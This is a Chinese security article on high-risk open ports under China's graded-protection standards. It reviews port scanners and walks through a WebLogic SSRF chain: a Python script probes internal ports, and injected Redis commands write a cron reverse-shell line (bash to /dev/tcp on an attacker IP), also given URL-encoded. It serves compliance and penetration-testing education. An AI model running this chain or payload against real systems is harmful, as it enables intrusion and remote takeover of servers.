GBT 22239-2019
《信息安全技术 网络安全等级保护基本要求》中,8.1.4.4安全计算环境—入侵防范项中要求包括:
端口开放测试对应访问控制项中的第二点,所以安全控制点为入侵防范。
GBT 28448-2019
《信息安全技术 网络安全等级保护测评要求》中,测评单元(L3-CES1-18)该测评但愿包括以下要求:
对端口进行探测,检测应用服务器是否开启了非必要的系统服务、默认共享、高危端口,如135、139(嗅探)、445(MS7-010、MS08-067)、593、1025等;
网络安全设备建议禁止的端口主要有:TCP/135、139、445、593、1025、和UDP/135、137、138、445端口。一些流行病毒的后门端口,比如TCP/2745、3127、6129等,以及远程服务RDP端口3389。
高危端口TCP/UDP135TCP/UDP135用于RPC(远程过程调用)服务。攻击者可以利用 次端口远程打开对方的Telnet服务,用于启动与远程计算机的RPC连接,通过RPC可以执行远程计算机的代码。
高危端口137、138、139、445这几个端口都是为共享而开的。
攻击者通过139、445这个端口进入的连接,能够获得NetBIOS/SMB服务权限,这是IPC$入侵的主要通道。139端口基于SMB协议提供共享服务,445端口基于CIFS协议提供共享服务。
攻击者通过向137端口发送连接请求,可能获得目标主机的相关名称信息(计算机名称、注册用户信息、主机是否作为文件服务器或域控服务器等)。
138端口主要作用是提供NetBIOS环境下的计算机名浏览功能,攻击者与主机的138端口建立连接请求就能轻松获得目标主机所处的局域网名称以及目标主机的计算机名称。
链接:https://nmap.org/
介绍:Nmap是一款网络扫描和主机检测的扫描工具。Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。可适用于Windows、Linux、Mac等操作系统。
核心功能:
链接:https://github.com/robertdavidgraham/masscan
介绍:Masscan是一种典型的“async / syn-cookie”扫描仪,它的扫描结果类似于nmap,在内部结构上,它更像unicornscan和ZMap,都采用了异步传输的方式。
对比unicornscan和ZMap,Masscan的优势在于:
速度快
在使用双端口卡的情况下,Masscan理论上能够达到每秒3000万个数据包(使用需谨慎,请不要太嚣张的使用~)。扫描互联网全部IP地址的一个指定端口,大约也就需要3分钟左右的时间,而且同时支持TCP和UDP协议的端口扫描;
灵活性强
“加密的单调递增索引”,它允许自定义任意的地址范和端口范围,大大的增加了masscan的灵活性;
兼容性强
支持运行在Windows,Macintosh,Linux,OpenBSD各类系统。
Masscan使用自定义TCP / IP堆栈,除简单端口扫描之外的任何其他操作都将导致与本地TCP / IP堆栈冲突。因此MASSCAN不建立完整的TCP连接,收到SYN/ACK之后,发送RST结束连接(banners除外)
介绍:The Metasploit Framework是一个渗透测试开源软件平台,一个漏洞利用框架,Kali自带。它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。Metasploit中不仅能够使用第三方扫描器Nmap等,在其辅助模块中也包含了几款内建的端口扫描器。
链接:https://github.com/projectdiscovery/naabu
介绍:Naabu是一款基于Go语言开发的快速端口扫描工具,该工具可以快速可靠的枚举目标主机的有效端口。该工具在实现了简单易用的情况下,同时保证了运行的可靠性。同时也支持对主机或主机列表进行快速SYN、CONNECT扫描,并列出所有返回响应的端口。
特性:
链接:https://github.com/xs25cn/scanPort
介绍:scanPort可以检测服务器或指定ip段的端口开放情况。可以快速扫描指定端口范围,ip地址范围。将扫描结果保存到本地。可使用命令直接扫描,也可在浏览器内操作。
链接:https://github.com/RustScan/RustScan
介绍:Rustscan号称现代端口扫描仪器,使用Rust语言编写,速度极快,能够在3秒内将一个IP的全端口扫描完成。支持Python、Lua、Shell。虽然只是简单的SYN和CONNECT扫描,但是它拥有完成的脚本引擎支持结果导出到Nmap进行详细的扫描。也可以在不改变参数的情况下,根据系统的性能自动调整扫描速度,达到最佳扫描状态。
原理:通过对内部线程的管理,为实现异步扫描的功能,在扫描过程中,每个端口扫描创建一个线程,每次可以创建数千个线程,而线程的多少取决于系统允许打开的最大文件数。
链接:https://github.com/opsdisk/scantron
介绍:Scantron 是一个分布式 nmap 和 masscan 扫描仪,由两个组件组成。第一个是一个控制台节点,它包含一个用于调度扫描和存储扫描目标和结果的 Web 前端。第二个组件是从控制台提取扫描作业并进行实际扫描的引擎。
所有扫描目标文件和扫描结果都驻留在控制台上,并通过利用 SSH 隧道的网络文件共享 (NFS) 共享。引擎使用 REST API 定期回调控制台以检查扫描任务并提供扫描状态更新。还有一个选项可以使用pyndiff库生成通过电子邮件发送给您的 nmap 扫描差异。
Scantron 专门为 Python3.6+ 编码,并利用 Django 作为 Web 前端,Django REST Framework 作为 API 端点,PostgreSQL 作为数据库,Redis 任务队列,Postfix 用于电子邮件扫描警报,并与 Ubuntu 一起提供以 Ansible 为重点的剧本,用于顺利部署。Scantron 已经在 Ubuntu 18.04 上进行了测试,可能与其他操作系统兼容。
Tide-潮汐:http://finger.tidesec.com/
在线域名扫描: http://www.jsons.cn/port/
在线端口扫描器: http://duankou.wlphp.com/
在线检测:http://coolaf.com/tool/port
端口扫描工具: https://www.qtool.net/port
站长工具: https://tool.chinaz.com/port/
做端口扫描,Nmap可以解决大部分场景的工作,而其他的工具会有一些特殊场景使用。比如,单个目标,使用nmap用不了多久就可以扫描完成,但是如果需要对大批量的目标进行扫描,nmap就显得力不从心了。这时可以使用masscan等快速扫描工具,确定端口开放,在使用Nmap做进一步的验证以及指纹识别,从而提升扫描速度。
以上并不是所有的端口扫描工具合集,还有非常多的优秀的扫描工具,比如goby、自定的脚本,也可以编写适用于自己的脚本和工具,集成到自己的自动化系统中。
使用Nmap扫描开放端口发现,此系统开放了22、7001端口,对应服务分别为ssh与7001开放,7001默认为webLogic端口。
访问http://Ip:7001/uddiexplorer, 无需登录即可查看uddiexplorer应用。
观察数据包发现operator参数值为URL,猜测此处是否存在SSRF漏洞。
将operator参数值中的域名替换为攻击端服务器和一个可访问的端口,系统返回404。
再将operator参数值中的域名替换为攻击端服务器和一个不可访问的端口,会显示无法连接服务器“could not connect over HTTP to server”。
从两次不同的HTTP请求包结果中可知,此系统存在SSRF漏洞。
正常情况是无法访问内网的,但是可以通过系统返回错误信息的不同去探测内网端口的开放状态,进而知道内网开启的服务,加以利用。
需要先获取内网地址,再探测内网是否开启其他端口服务。可以使用BurpSuite工具进行自定义迭代,或者使用脚本跑出来(因为此次漏洞是Docker环境搭建的,所以内网网段是172.*)。
使用Python脚本实现内网端口探测:
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://受害者IP:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "172.18.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
经过探测,发现内网的一个IP存在6379端口,也就是Redis服务正常开启,可以连通。
通过反弹Shell获取权限。发送三条Redis命令,将弹Shell脚本写入/etc/crontab。
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/攻击端IP/8888 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
将以上三条命令通过GET请求注入进服务器。Weblogic的SSRF可以通过传入%0a%0d来注入换行符,Redis服务是通过换行符来分隔每条命令,所以可以通过该SSRF攻击内网中的Redis服务器。
先将URL进行编码,注意换行符是“\r\n”,也就是“%0d%0a”。编码后:
test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F攻击端IP%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0A%0Aconfig%20set%20dir%20%2Fetc%2F%0A%0Aconfig%20set%20dbfilename%20crontab%0A%0Asave%0A%0Aaaa
将URL编码后的字符换放在SSRF的域名后面进行发送。把构造好的数据包通过BurpSuite进行发送。
攻击端先监听8888端口,BurpSuite再发送数据包,成功反弹Shell。
高危端口暴露至外网导致系统被入侵的风险增大,为此可做以下防范:
参考:
https://www.csdn.net/tags/MtTaYgxsOTI2OS1ibG9n.html
https://netsecurity.51cto.com/article/711663.html